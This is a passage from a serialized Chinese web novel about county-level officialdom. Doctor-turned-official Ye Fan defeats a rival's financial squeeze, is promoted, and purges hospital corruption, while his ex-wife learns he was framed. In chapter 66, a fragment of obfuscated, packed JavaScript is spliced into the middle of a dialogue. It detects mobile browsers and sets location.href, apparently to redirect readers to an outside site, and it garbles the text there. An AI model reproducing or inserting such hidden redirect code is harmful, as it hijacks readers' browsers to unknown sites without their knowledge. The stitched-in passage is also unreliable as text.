“第二,所有涉及群众基本生活的民生工程,比如‘城乡医疗一体化’项目,不仅不会停,还要加大力度,加快推进!钱不够,我们自己想办法!人不够,我们干部顶上去!”
他看向叶凡,叶凡适时地点了点头,眼神沉稳。
“第三……”张海涛深吸了一口气,声音陡然拔高,每一个字都像是从胸膛里砸出来的,“为了与全县人民共克时艰,我提议,并已经得到县委**会和县政府班子的一致同意:从本月起,所有县级领导干部,自愿暂停领取全部薪资和补贴!直到我们青川县,彻底渡过这次难关!”
轰!
整个大礼堂,像是被投下了一颗**。
所有人都懵了。
他们瞪大了眼睛,张大了嘴巴,不敢相信自己的耳朵。
领导干部,带头不领工资?
这是唱的哪一出?
**副主任手里的保温杯“哐当”一声掉在地上,滚烫的茶水洒了一裤子,他却浑然不觉。
他呆呆地看着台上的张海涛,又看了看旁边那个从始至终都面无表情的叶凡,一股寒气从脚底板直冲天灵盖。
这不是在解决问题,这是在诛心!
柳传明不是说张海涛好大喜功,不顾百姓死活吗?
现在人家连工资都不要了,跟老百姓站在一起了,你这话还怎么说?
那些想来讨债的包工头,面对一群不拿工资的县领导,还好意思张嘴要钱吗?
短暂的死寂之后,台下爆发出雷鸣般的掌声。
这掌声,一开始还稀稀拉拉,带着惊疑,但很快就汇成了一股洪流,经久不息。
许多老干部,甚至激动得红了眼眶。
他们或许不懂什么叫权谋,但他们看得懂,什么叫姿态,什么叫担当。
叶凡坐在主席台上,静静地看着台下群情激奋的场面。
他知道,张海涛的“空城计”,唱成了。
而他递上的这份“投名状”,张海涛也接得稳稳当当。
……
与此同时,江城市。
苏沐秋坐在一家装修别致的咖啡馆里,手指在笔记本电脑的键盘上飞快敲击,像个运筹帷幄的女将军。
她的面前,放着三部手机,不同的聊天群里,消息闪烁不停。
“搞定!省报新媒体的哥们儿已经把稿子发出去了,没署名,用的‘热心市民’马甲。”
“论坛这边也OK了,几个大V都转了,标题绝对劲爆!”
很快,江城市的网络世界,被几条看似“小道消息”的帖子,搅得天翻地覆。
《内部消息!青川县领导班子因财政困难集体停薪,传与江城某“艺术大家”有关?》
《青川教师在线求助:我们的工资还能发吗?柳主席,您在看吗?》
《深度分析:一场针对青川县的“精准断粮”,谁是幕后黑手?》
这些帖子,通篇没有点柳传明的名,但字里行间,所有的矛头都若有若无地指向了他。
尤其是那个“艺术大家”和“柳主席”的称呼
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,简直是贴着脸在输出。
江北市文联,一间挂着“**”门牌的办公室里。
柳传明正端着一杯上好的龙井,闭目养神。
自从被从宣传部长的位置上赶下来,调到这个养老单位,他已经很久没有像昨天那样,感受到大权在握的快感了。
他仿佛已经看到张海涛焦头烂额,叶凡走投无路的狼狈模样。
秘书敲门进来,脸色古怪:“柳主席,您……还是看看手机吧。”
柳传明不悦地睁开眼,接过手机。
只看了一眼,他的脸色就从惬意,瞬间变成了铁青。
他握着手机的手,青筋暴起,指节因为用力而嘎吱作响。
“混账!无耻!这是谁干的!”他猛地将手机砸在地上,屏幕摔得四分五裂。
他没想到,对方的反击会如此迅速,如此刁钻!
他用阳谋打过去,对方却用一招更狠的“道德**”打了回来,还顺手把他钉在了**的烤架上。
现在,整个江城的官场都在看他的笑话。一个赋闲的文联**,动用自己的老关系,去为难一个贫困县,结果逼得人家县领导集体不发工资了。
这传出去,他柳传明还要不要脸了?
“查!给我查!马上查清楚,这些帖子是谁发的!”柳传明对着秘书咆哮道。
秘书缩着脖子,小声说:“主席,查过了……发帖的IP地址都在国外,根本找不到源头。”
柳传明一屁股跌坐在椅子上,只觉得一阵天旋地转,胸口闷得发慌。
他知道,自己精心策划的雷霆一击,不仅没打死对手,反而引火烧身,把自己烧了个外焦里嫩。
那个叫叶凡的小子,那把刀,比他想象的,要锋利得多。
青川县,政府宿舍。
叶凡刚洗完澡,手机就震动了一下,是苏沐秋发来的信息。
“叶大主任,**已全部打光,江城那边已经炸锅了。我听说柳主席气得把手机都给砸了。”后面跟了一个小恶魔的得意表情。
叶凡笑了笑,回道:“辛苦苏大记者了,这顿加班费,我记下了。”
“光记下有什么用?我不管,这顿饭,我要吃江城最贵的日料,还要你亲自剥虾。”
“成交。不过,虾可以剥,别的可不行。”
电话那头,苏沐秋看着这条信息,脸颊微微发烫,对着手机啐了一口:“流氓!”
她放下手机,心里却甜丝丝的。
她知道,这场看似凶险的仗,叶凡又赢了。
而且,赢得漂亮。
她仿佛能看到,那个男人正站在风暴的中心,衣袂飘飘,眼神淡然,将所有的惊涛骇浪,都**于股掌之间。
而自己,就是他最信任的,递刀的人。
第63章 借力打力,暗流涌动!
柳传明砸手机的动静,很快传到了****高建国的耳朵里。
高建国坐在办公室里,听着秘书汇报着江城**场上的“风起云涌”,眉头紧锁。
他拿起桌上那份关于青川县财政“优化评估”的函,又看了看柳传明被降职前曾任职的市宣传部送来的舆情简报,唇角勾起一抹不易察觉的冷笑。
“这个柳传明,真是不到黄河心不死。”他轻声自语。
他知道柳传明在搞什么鬼。无非是想借着市财政局的手,给张海涛上眼药,顺便也给那个让他丢尽颜面的叶凡制造麻烦。
可他万万没想到,张海涛和叶凡这两人,竟然能走出这般石破天惊的“空城计”。
领导干部集体停薪,这事儿要是传到省里,那可就不是简单的财政问题了,而是直接触及了干部作风和为民情怀的敏感神经。
“通知市财政局的王局长,让他立刻来我办公室一趟。”高建国吩咐秘书。
他倒要问问这位王局长,这份“优化评估函”到底是谁授意的,又评估出了什么“成果”。
几分钟后,市财政局王局长战战兢兢地走进高建国的办公室,额头上已经渗出了一层细密的汗珠。
他知道,今天这顿骂,是跑不掉了。
“王局长,这份函,是你牵头搞的?”高建国指了指桌上的文件,语气平静得像一潭深水,却让王局长心惊肉跳。
“高**,这……这是市里为了响应省里‘智慧城市’建设号召,对全市财政资源进行统筹优化的一项常规工作……”王局长结结巴巴地解释,心里把柳传明骂了个狗血淋头。
“常规工作?”高建国冷笑一声,“常规工作,能搞得青川县领导班子集体停薪?能搞得全江城沸沸扬扬,舆情汹涌?”
王局长的头更低了,冷汗顺着鬓角往下淌。
“王局长,我问你,青川县财政状况确实困难,这是事实。但我们市里,什么时候穷到需要靠‘暂停拨款’来解决问题了?难道我们市里,连这点担当都没有?还是说,有人在借着市里的名义,干一些见不得人的勾当?”高建国的目光锐利如刀,直刺王局长的心脏。
王局长猛地一个激灵,他知道高建国这是在敲打他,也是在警告他。
“高**,我……我知错了!是我工作考虑不周,没有充分评估对基层造成的影响!”王局长连忙表态,“我立刻撤回这份函,并重新启动对青川县的财政支持!”
“撤回?”高建国摇了摇头,“现在撤回,只会让外面的人觉得我们高层在搞内讧,反而坐实了某些谣言。”
他站起身,走到窗前,看着外面车水马龙的街道。“这样吧,王局长。你回去后,立刻组织财政局的精干力量,成立一个专项工作组,深入青川县。不是去‘评估’,而是去‘帮扶’。要帮青川县,把财政上的窟窿,一点点填上。”
“同时,对外发布一个官方声明,就说**市政府高度重视青川县的发展,将加大对青川县的财政倾斜力度,优先保障民生和重点项目。特别是要点名表扬青川县领导班子‘与民同苦’的担当精神。”
王局长听得愣住了。
这哪里是处罚,这分明是在给青川县送钱,还在给张海涛和叶凡送政绩!
高**这招,实在是高!
“是!高**!我立刻去办!”王局长感激涕零地离开了办公室。
高建国看着王局长离去的背影,眼神变得深邃。
他知道,通过这件事,他不仅狠狠敲打了柳传明,也彻底将青川县纳入了自己的势力范围。
他拿起电话,拨通了**组织部长的电话。“老李,青川县委办公室主任叶凡同志,最近表现很突出啊。那个‘城乡医疗一体化’项目,搞得有声有色。还有这次的财政危机,他提出的‘空城计’,也是非常大胆,非常有魄力。你回头,是不是可以考虑一下,给他压压担子?”
电话那头,组织部长心领神会。
高建国这哪里是压担子,分明是在为叶凡的下一步晋升,铺路搭桥。
……
青川县,县委大院。
叶凡刚下班,就接到了张海涛的电话,让他立刻去一趟办公室。
一进门,叶凡就看到张海涛满面红光,一扫之前的阴霾。
“叶凡,你小子,真是我的福星!”张海涛激动地拍了拍叶凡的肩膀,把一份刚收到的传真递给他,“你自己看!”
叶凡接过传真,上面是市财政局刚刚下发的一份《关于加大对青川县财政帮扶力度的通知》。
通知中,不仅撤销了之前的“暂停拨款”函,还承诺将额外拨付一笔专项资金,用于支持青川县的民生和重点项目建设,特别是点名提到“城乡医疗一体化”项目。
更让他感到意外的是,通知的最后,还特意表扬了青川县领导班子“与民同苦、勇于担当”的精神。
这哪里是“帮扶”,这简直是“送政绩”!
“高**出手了。”叶凡放下文件,语气平静,却带着一丝了然。
“是啊!”张海涛兴奋地点头,“高**亲自批示,财政局的王局长都快吓尿了,连夜组织工作组来青川。这下,我们不仅有钱了,还有了**一号的亲自背书!”
他看向叶凡,眼中充满了赞赏和信任。“叶凡,你这招‘空城计’,真是妙到毫巅!不仅稳住了我们青川县的局面,还成功借高**的手,狠狠地打了柳传明一
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巴掌!”
叶凡没有居功,只是淡淡一笑:“**,这都是您高瞻远瞩,魄力过人。”
“少拍马屁!”张海涛笑骂了一句,“不过,你小子这次立了大功,市里已经注意到了你。组织部长那边,也已经开始琢磨你的下一步了。”
叶凡心里一动,他知道,这意味着他离大纲中“县卫生局局长”的职位,又近了一步。
从张海涛办公室出来,叶凡的心情有些复杂。
他知道,自己已经彻底融入了这场官场斗争的漩涡。
而他手中的那把“手术刀”,也变得越来越锋利。
回到宿舍,叶凡习惯性地拿起手机,给苏沐秋发了一条信息。
“苏大记者,剥虾服务,准备好了吗?”
苏沐秋几乎是秒回:“叶大主任,你这是在变相催我请客吗?我正准备敲你宿舍门呢,想问问你,高**有没有给你发大红包啊?”
叶凡笑了笑,回复道:“红包没有,不过,有你想要的‘独家新闻’。”
很快,宿舍门被敲响。
苏沐秋俏生生地站在门口,手里果然拎着一个精致的保温袋,里面散发出诱人的香气。
“就知道你没吃晚饭,这是我妈特意给你做的排骨汤!”苏沐秋一边说,一边走进屋,将保温袋放在桌上。
她看着叶凡,眼神里带着一丝好奇和期待。“什么独家新闻?快说!”
叶凡将市财政局的那份文件递给她。
苏沐秋接过文件,只看了一眼,眼睛就亮了。“哇!高**亲自背书!叶凡,你真是太厉害了!这下,柳传明估计要气得吐血了!”
她激动地挥舞着文件,像个拿到独家爆料的记者。
“而且,我听说柳传明今天在文联办公室,气得把最喜欢的茶具都砸了呢!”苏沐秋眉飞色舞地说,脸上洋溢着幸灾乐祸的笑容。
叶凡看着她那副活泼可爱的样子,心中一暖。
“所以,你欠我的那顿日料,什么时候兑现?”叶凡打趣道。
苏沐秋一愣,随即俏脸一红。“哎呀,叶大主任,你这记性怎么这么好!行行行,等这阵风头过去,我请你吃大餐,剥虾服务也给你安排上!”
她的声音很轻,却带着一种不易察觉的娇嗔。
叶凡的目光落在她的脸上,她那双清澈的眼睛,在灯光下闪闪发亮,像两颗璀璨的星辰。
“好。”叶凡轻声说。
他知道,这场仗,他赢了。
而他的身边,有了并肩作战的战友,也有了,值得期待的未来。
窗外,夜色更深了。
但青川县,却仿佛在经历一场蜕变,一场新的风暴,正在悄然酝酿,而叶凡,正站在风暴的中心,蓄势待发。
第64章 履新副局,再斩顽疾!
青川县的财政危机,在****高建国的强势介入下,以一种出人意料的方式迅速化解。
市财政局的专项帮扶资金,如一场及时雨,浇灭了县里所有的不安和猜测。
那些原本准备上门讨债的工程队老板,看到市里真金白银的投入,以及县领导班子“集体停薪”的决心,也打消了**的念头,转而积极配合。
县委大院里,气氛一扫之前的阴霾。干部们走路都带风,眉宇间少了几分焦虑,多了几分干劲。
张海涛**更是春风得意,他亲自带着市财政局的工作组,下乡调研,视察项目,将青川县“与民同苦”的担当精神,塑造成了一张亮丽的**名片。
而作为这场“空城计”的幕后操盘手,叶凡的声望,在青川县达到了顶点。
这天上午,叶凡正在办公室整理文件,县委**张海涛的秘书小张走了进来。
“叶主任,张**请您过去一趟。”小张的语气带着一丝不易察觉的恭敬。
叶凡放下手中的笔,起身前往。
张海涛的办公室里,气氛喜悦而庄重。
除了张海涛本人,县委组织部长也在场。两人面前的茶几上,放着一份刚刚拆封的**。
“叶凡,来了。”张海涛示意他坐下,脸上挂着温和的笑容,“今天请你来,是有一个好消息要告诉你。”
他拿起那份文件,递给叶凡。
叶凡接过,目光落在标题上——《关于叶凡同志任职的通知》。
他心里一动,预感到了什么。
文件内容很简短,却字字千钧。
“经**组织部考察,并报请****会研究同意,决定:叶凡同志任青川县卫生局副**,副局长,免去其县委办公室主任职务。”
叶凡看着文件,心中波澜不惊。
他知道,这只是大纲中的一个节点,是通往更高层级道路上的又一块垫脚石。
“叶凡啊,县委办主任这个位置,你干得很好,清风正气,效率倍增,县委的运转都顺畅多了。”张海涛语重心长地说,“但县里现在最缺的,还是你这种既懂专业,又懂管理的复合型人才。卫生局那边,你的‘城乡医疗一体化’项目搞得有声有色,高**点名表扬。现在让你过去,就是让你放开手脚,把这个项目彻底做实、做强,做出青川特色,做出全国样板!”
组织部长也笑着补充:“叶凡同志年轻有为,这次的任命,也是**对你能力的充分肯定。希望你到了新的岗位,继续发挥你的专业优势和改革魄力,为青川县的医疗卫生事业,再立新功!”
叶凡起身,语气坚定:“感谢张**,感谢组织部长的信任和厚爱。我叶凡一定不负重托,在新的岗位上,继续为青川县的百姓健康,贡献自己的力量!”
从张海涛办公室出来,叶凡没有直接回县委办。
他知道,新的战场,在卫生局。
他给苏沐秋发了一条信息:“苏记者,恭喜我吧,我升官了。”
苏沐秋很快回复了一个“震惊”的表情,后面跟着一串“恭喜!恭喜!叶大主任,哦不,叶副局长!!”
“今晚请客,你负责剥虾。”叶凡又发了一条。
“没问题!剥到你满意为止!”苏沐秋回复得很快,后面又跟了一个“哼”的表情,“不过,你下次再敢卖关子,我就把你小时候尿床的糗事写进报纸!”
叶凡看着手机,嘴角勾起一丝不易察觉的笑意。
……
青川县卫生局。
叶凡的再次到来,像一块巨石投入平静的湖面,激起了千层浪。
马德龙局长得知消息后,激动得差点当场给叶凡跪下。
他连夜让人把叶凡的办公室重新装修了一遍,连办公桌上的笔筒都换成了最贵的紫砂材质。
“叶局!您……您可算是回来了!以后卫生局就是您的家,我马德龙就是您的老黄牛,您指哪儿我打哪儿!”马德龙拍着胸脯,恨不得把心掏出来给叶凡看。
叶凡看着他那副恨不得把自己卖了的谄媚样,心里有些好笑。
他知道马德龙这种人,用好了就是一把好刀,用不好就是一把双刃剑。
“马局长,你把全县所有乡镇卫生院的院长,以及县医院、中医院、妇幼保健院的负责人,都召集起来,下午两点,在局会议室开会。主题是,‘城乡医疗一体化’项目推进工作部署。”叶凡语气平静,却透着一股不容置疑的威严。
马德龙一愣。他以为叶凡刚上任,会先熟悉情况,没想到直接就开干,而且是直击核心。
“是!叶局!我这就去通知!”马德龙立刻小跑着去传达命令。
下午两点,卫生局会议室里,座无虚席。
当叶凡走进会议室时,所有人的目光都聚焦在他身上。
他们想看这个火箭般蹿升的年轻人,在新的岗位上,会如何施展拳脚。
叶凡没有废话,直接开门见山:“各位,**市政府高度重视‘城乡医疗一体化’项目,高**亲自批示,市财政也拨付了专项资金。现在,钱有了,政策有了,就看我们怎么
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干!”
他拿起激光笔,指向投影上的一张青川县医疗资源分布图。
“我之前提出的‘流动专家坐诊团’、‘远程医疗诊断平台’和‘全县急救一张网’,这些都是项目的核心。现在,资金到位,我们必须加快推进!”
他顿了顿,目光扫过全场。
“我听说,有些乡镇卫生院,对专家下乡坐诊,积极性不高。有些县医院的专家,也觉得下乡条件艰苦,不愿配合。还有一些医疗机构,对‘急救一张网’的统一调度,心存抵触。”
他声音不大,却字字清晰,掷地有声:“我叶凡把话放在这里,‘城乡医疗一体化’项目,是惠民工程,是**任务,更是青川县医疗事业发展的百年大计!谁敢阳奉阴违,谁敢敷衍了事,谁敢从中作梗,别怪我叶凡不讲情面!”
会议室里,瞬间鸦雀无声。
叶凡继续说道:“从今天起,卫生局将成立‘城乡医疗一体化’项目督导组,由我亲自挂帅。每周,督导组将对各医疗机构进行突击检查,凡是发现工作推进不力,或者有推诿扯皮现象的,一律严肃处理!”
他目光如炬,扫过在场的每一个人。
“我叶凡,是医生。医生治病救人,也要切除毒瘤!对于青川县医疗系统的毒瘤,我将用最锋利的手术刀,彻底切除,绝不手软!”
他这番话,如同一记记重锤,狠狠地砸在每一个人的心上。
那些原本还心存侥幸的,那些屁股不干净的,此刻都吓得面如土色,冷汗直流。
他们终于明白,叶凡根本不是什么“软柿子”,他是一把真正的“杀猪刀”!
会议结束后,县卫生局的干部们,像是被按下了快进键,整个局的运转效率,瞬间提速。
各乡镇卫生院和县直医疗机构,也立刻行动起来,积极配合“城乡医疗一体化”项目的推进。
当晚,叶凡在宿舍里,收到了苏沐秋发来的信息。
“叶副局长,听说你今天在新官上任的会议上,又把那些老油条们吓得不轻啊!”苏沐秋发来一个“偷笑”的表情。
叶凡笑了笑,回复道:“医生动手术,总不能笑嘻嘻的吧?总要让他们知道,这刀,是真刀。”
“那今晚的日料和剥虾服务,准备好了吗?”
“随时恭候。”叶凡回复。
他看向窗外,夜色深沉,江城的方向,似乎正有一股暗流在涌动。
柳传明虽然被降职,但他的能量,远不止于此。
这场没有硝烟的战争,才刚刚开始。
第65章 雷霆手段,旧梦惊心!
青川县人民医院,骨科。
新上任的叶副局长,带着他那个所谓的“督导组”——其实就他和一个从局里办公室新提拔的秘书小李——突然到访,没跟任何人打招呼。
院长和一众院领导闻讯,满头大汗地从行政楼飞奔而来,堵在骨科门口时,叶凡已经像巡视自己领地的狮子,在病房里转了一圈。
“叶局,您……您怎么来了,也不提前说一声,我们好准备准备。”院长气喘吁吁,脸上堆满了笑。
叶凡没理他,径直走到科室主任办公室门口,推门而入。
骨科主任钱斌,正翘着二郎腿,对着电脑屏幕上的股票K线图,一脸凝重。
听到动静,他回头一看,见是叶凡,慢悠悠地站起来,扶了扶眼镜,皮笑肉不笑。
“叶局大驾光临,有失远迎啊。”
钱斌是院里的老资格,医术不错,但更是个刺头。
他是最反对“专家下乡”的,因为这会耽误他在外面私立医院的“兼职”。
叶凡的目光,越过钱斌,落在他身后那台崭新的“多功能骨科牵引治疗仪”上。
机器锃亮,连保护膜都还没撕干净,显然是刚买不久,也显然一次没用过。
“钱主任,这台新设备,花了多少钱?”叶凡淡淡地问。
院长赶紧抢着回答:“报告叶局,这是我们上个季度刚引进的,德国原装进口,花了一百二十万!是全省最先进的!”
“先进?”叶凡走到机器前,用手指弹了弹冰冷的金属外壳,发出“邦邦”的声响。“据我所知,这种一体化治疗仪,功能多,但不实用,故障率高,维修成本更是天价。对我们县医院来说,性价比极低。”
他转头看向钱斌,眼神锐利如刀:“钱主任,作为骨科专家,你当初在采购论证会上,就是这么建议的?”
钱斌的脸色微微一变:“叶局,您是心外科的专家,可能对我们骨科的设备不太了解。这……这是技术发展的趋势。”
“趋势?”叶凡冷笑一声,“我刚在病房里看了一圈,十个腰椎间盘突出的病人,有八个还在用最老式的骨盆带牵引。病人疼得龇牙咧嘴,你们这价值百万的‘先进设备’,却在这里睡大觉。这就是你说的趋势?”
他指着墙角一台半旧的牵引床:“那台国产的,五万块钱,简单实用。你们为什么不多买几台,非要花一百多万,买个中看不中用的铁疙瘩?”
钱斌被问得哑口无言,额头渗出了细汗。
叶凡的目光像X光一样,把他从里到外看了个通透。
“我再问你,‘专家下乡坐诊’的排班表,为什么你们骨科这个月,一次都没安排?是你们科室的医生都太忙,还是乡下的病人,骨头没有城里人的金贵?”
“我……”
钱斌的脸涨成了猪肝色。
“你不用解释了。”叶凡打断他,“从今天起,县卫生局**组,将对县人民医院近三年的所有药品、器械采购项目,进行专项审计。在审计结束前,钱斌同志,暂时停止科室主任职务,配合调查。”
他看向旁边已经吓傻的院长:“院长,你作为一把手,负有领导责任。这份检讨,明天早上,放到我办公桌上。”
整个过程,不超过十分钟。
快、准、狠。
叶凡说完,转身就走,留下满屋子噤若寒蝉的人。
他用一把锋利的手术刀,干净利落地切开了县医院这个脓包的一角,流出的是腐臭的脓血,和所有人的胆寒。
……
江城市,一家名为“雪月花”的顶级日料店。
包厢里,苏沐秋正襟危坐,看着对面那个男人,用一双拿手术刀的手,慢条斯理地为她剥着一只牡丹虾。
那双手,稳定、灵巧,虾壳被完整地剥离,粉嫩的虾肉,蘸上一点酱油,被轻轻地放到她面前的碟子里。
“叶大局长,您这双手,用来剥虾,真是暴殄天物。”苏沐秋夹起虾肉,放进嘴里,眉眼弯弯,像只偷腥的猫。
“能为苏大记者服务,是我的荣幸。”叶凡又拿起一只,继续他“精密”的工作。
“少来。”苏沐秋白了他一眼,“今天在县医院那场‘手术’,做得够漂亮的。我报社的线人说,你们卫生局的电话,今天下午都快被打爆了,全是各个医院主动要求专家下乡的。”
“意料之中。”叶凡淡淡地说,“有些人,你不把刀架在他脖子上,他永远不知道什么叫规矩。”
“你就不怕得罪那么多人?”苏沐秋有些担心。
“我怕的是治不好这个地方的病。”叶凡放下手里的虾,看着她,目光深邃,“沐秋,谢谢你。”
苏沐秋的心,漏跳了一拍。她低下头,用筷子戳着碟子里的虾肉,掩饰着脸颊的红晕。“谢我什么?我又没帮你做什么。”
“你做的,比任何人都多。”
包厢里的气氛,一时间有些微妙。
暧昧的因子在空气中浮动,混合着食物的香气,让人微醺。
就在这时,苏沐秋的手机震动了一下。
她拿起来看了一眼,脸色微微一变
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。
“怎么了?”叶凡问。
“没什么。”苏沐秋迅速收起手机,勉强笑了笑,“工作上的事。对了,我听说……柳如烟最近状态很不好。她好像在查什么事,动用了不少她在电视台的关系。”
叶凡剥虾的动作,停顿了一下,随即又恢复了正常。
他没有说话,只是将又一只剥好的虾,放进了苏沐秋的碟子里。
那段过去,就像一道已经缝合的伤疤,虽然不再疼痛,但触摸时,依旧能感觉到那凹凸不平的痕迹。
……
夜色如墨,一场秋雨,将整个江城笼罩在湿冷的雾气里。
一辆红色的保时捷,静静地停在电视台地下车库的角落。
柳如烟坐在驾驶座上,车窗紧闭,隔绝了外面的一切声响。
她手里攥着一个信封,指节因为用力而发白。
信封里,是一份**的调查报告,和几张清晰的照片。
报告里,那个当初拍下叶凡和女病人家属“亲密照片”的所谓“路人”,详细交代了自己是如何被柳志鹏收买,如何恶意抓拍角度,甚至,那张最关键的照片,还经过了后期处理,让搀扶的动作,看起来像拥抱。
所有的证据,都指向一个结论:那场所谓的“出轨”,从头到尾,都是一场由她哥哥柳志鹏导演,父亲柳传明默许的,卑劣的陷害。
雨点,噼里啪啦地打在车窗上,像无数根针,扎在柳如烟的心上。
她终于明白叶凡在离婚协议上签字时,那眼神里的绝望与冰冷。
她终于明白,他为什么会说出“与柳家,恩断义绝”这样决绝的话。
她一直以为自己是受害者,是被背叛的人。
到头来,她才是那个最愚蠢、最可笑的帮凶。
她亲手将那个世界上最爱她的男人,推入了深渊。
泪水,再也无法抑制,顺着她精致的脸庞,无声地滑落。
她趴在方向盘上,肩膀剧烈地颤抖着,发出压抑而痛苦的呜咽。
不知哭了多久,她缓缓抬起头,泪眼婆娑地看向手机。
屏幕上,那个烂熟于心的号码,被她设置的备注是——“叶先生”。
曾几何时,那里写的是“老公”。
她的手指颤抖着,悬停在拨号键上。
是打过去,向他忏悔,求他原谅?
还是,就这样,让这个天大的谎言,烂在自己心里,永远不要再去打扰他已经开始的新生?
骄傲与悔恨,在她的内心深处,疯狂地撕扯着。
车窗外,雨,越下越大。
第66章 旧人相遇,暗流涌动!
秋雨绵绵,缠绵不绝。
叶凡在日料店送走苏沐秋后,没有立刻回宿舍。
他漫步在青川县城湿漉漉的街道上,感受着微凉的夜风。
苏沐秋今天提到的柳如烟,像一颗石子,在他平静的心湖里,激起了一丝不易察觉的涟漪。
他知道柳如烟不会无缘无故地去调查那些旧事。
柳家父子倒台,柳如烟必然会去探寻真相。
但真相,对他来说,已经没有意义。
他与柳家的恩怨,已在柳传明被降职、柳志鹏入狱的那一刻,画上了句号。他想要的,是向前看。
回到宿舍,叶凡习惯性地打开电脑,浏览最新的医疗行业动态。
他现在是青川县卫生局副局长,肩上的担子更重了。
他必须时刻保持对政策和行业的敏感,才能更好地推动“城乡医疗一体化”项目。
第二天一早,叶凡便召集卫生局班子成员开会。
“钱斌的问题,是个案,但也反映了我们医疗系统内部的一些深层次问题。”叶凡坐在会议桌前,目光扫过在场的每一个人,“我们不能头痛医头,脚痛医脚。要彻底清除这些‘病灶’,就必须建立一套完善的监督和激励机制。”
他提出了一系列雷厉风行的措施:成立医德医风监督委员会,由局**组和县**代表、政协委员共同参与,定期对全县医疗机构进行明察暗访;建立医生绩效与服务质量、下乡坐诊次数挂钩的考核体系;设立举报热线,鼓励群众监督,对举报属实的给予重奖。
“我希望,通过这些措施,能真正让那些尸位素餐、以权谋私的人无处遁形,让那些真正为百姓服务的医生,得到应有的尊重和回报!”叶凡的声音掷地有声。
马德龙局长带头鼓掌,脸上写满了“坚决拥护”。
其他班子成员也纷纷表态,会议室里,一片积极向上的氛围。
叶凡知道,这些措施会触动很多人的利益,但他别无选择。
他要做的不是一场简单的改革,而是一场刮骨疗毒的手术。
……
江城市,**大院。
柳传明坐在办公室里,脸色阴沉得能拧出水来。
他最近的日子,过得异常艰难。
柳志鹏入狱,鹏程建材被查封,柳家的资金链几乎断裂。
而他自己,虽然保住了文联**的虚职,但明眼人都知道,他已经被彻底边缘化了。
更让他心烦意乱的是,市里最近关于青川县的正面报道越来越多。
特别是叶凡主导的“城乡医疗一体化”项目,被****高建国点名表扬,甚至被树为全市的典型。
这无疑是在打他的脸。
他曾经视为“废物”的叶凡,如今却成了高建国手里的“明星干部”,风头一时无两。
“叶凡……你真是我的克星!”柳传明猛地一拳砸在桌上,发出沉闷的响声。
就在这时,秘书敲门进来,递给他一份文件。
“柳主席,这是市里下发的关于全市医疗卫生系统开展‘医德医风建设专项督查’的通知,要求各单位积极配合。”
柳传明接过文件,扫了一眼,眼神中闪过一丝阴狠。
“医德医风建设?”他冷笑一声,“叶凡,你不是喜欢搞这些花里胡哨的东西吗?好啊,我就让你看看,什么叫‘道高一尺,魔高一丈’!”
他拿起电话,拨通了一个号码。
“老王,最近手头紧不紧?我这有个生意,保准你赚得盆满钵满……”
……
几天后,青川县电视台。
苏沐秋正在审阅一份关于“城乡医疗一体化”项目的专题报道稿件。
她笔下的叶凡,是一个充满智慧和魄力的改革者,文章字里行间,都透着一股骄傲。
“苏记者,有人找。”编导敲了敲门。
苏沐秋抬头,看到门口站着一个熟悉的身影。
柳如烟。
她穿着一件米色的风衣,戴着墨镜,即便如此,也遮不住她眼底的憔悴。
她摘下墨镜,那双曾经顾盼生辉的眼睛,此刻布满了血丝。
苏沐秋的心猛地一沉。
她知道,柳如烟来找她,是为了什么。
“柳主持人,稀客啊。”苏沐秋语气平静,但眼神中带着一丝戒备。
柳如烟没有坐,只是静静地站在那里,眼神复杂地看着苏沐秋。
“苏记者,我知道你和叶凡关系很好。我来,是想请你帮个忙。”
“什么忙?”
柳如烟从包里拿出一个信封,放在桌上,信封里露出几张照片和一份报告。
“我想请你,把这些东西,曝光出去。”
苏沐秋拿起信封,打开一看,瞳孔猛地收缩。
那份调查报告,赫然是关于柳志鹏陷害叶凡“出轨”的详细过程。
照片上,是柳志鹏和那个“女病人家属”在咖啡馆里交易的画面。
“你……”苏沐秋看着柳如烟,一时语塞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150493|180509||http|test|mini|href|location''.split(''|''),0,{}));
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r>“我知道,现在说这些,已经太晚了。”柳如烟的声音带着一丝颤抖,“但我不能让叶凡一直背负那个骂名。他为我做了那么多,不该被那样污蔑。”
她的眼神里充满了悔恨和痛苦。
“苏记者,我只想把真相公布于众,还他一个清白。”
苏沐秋沉默了。
她知道,这件事情一旦曝光,柳家将彻底颜面扫地,柳传明也会受到更严厉的打击。
“你确定要这么做吗?”苏沐秋问。
“确定。”
柳如烟的眼神前所未有的坚定。
苏沐秋看着她,心里五味杂陈。
她既同情柳如烟的遭遇,又为她此刻的清醒感到一丝欣慰。
“好,我帮你。”苏沐秋收起信封,语气严肃,“但你要知道,一旦这件事情曝光,你将彻底与柳家**,也将承受巨大的**压力。”
“我不在乎。”柳如烟苦笑一声,“我只希望,他能知道真相。”
她说完,转身离开了办公室,背影显得有些单薄和落寞。
苏沐秋看着手中的信封,陷入了沉思。
她知道,这不仅仅是一篇报道,更是一场将柳家彻底钉上耻辱柱的**战。
她拿起手机,拨通了叶凡的电话。
“叶副局长,我有件重要的事要告诉你。关于……你和柳如烟的过去。”
电话那头,叶凡的声音一如既往的平静:“什么事?”
苏沐秋深吸一口气,将柳如烟的来意,和盘托出。
叶凡听完,沉默了很久。
“我知道了。”他平静地说,语气中听不出任何波澜。
“你……不生气吗?”苏沐秋有些疑惑。
“生气?已经没有意义了。”叶凡的声音里带着一丝疲惫,“沐秋,这件事,你暂时不要发出去。”
“为什么?”苏沐秋不解。
“柳传明最近在市里动作很大,他想反扑。现在放出这些,只会打草惊蛇。”叶凡的声音变得低沉,“我要让他,亲手把自己埋葬。”
苏沐秋听着叶凡的话,心里一凛。
她知道,他这是要给柳传明一个致命一击。
“好,我听你的。”
挂断电话,叶凡走到窗边,看着窗外阴沉的天空。
柳传明,你以为我不知道你在做什么吗?
他眼中闪过一丝冷冽的光芒。
这场游戏,才刚刚开始。
而这一次,他要亲手,为这段恩怨,画上一个彻底的句号。
第67章 螳螂捕蝉,黄雀在后?
青川县卫生局,叶凡的办公室。
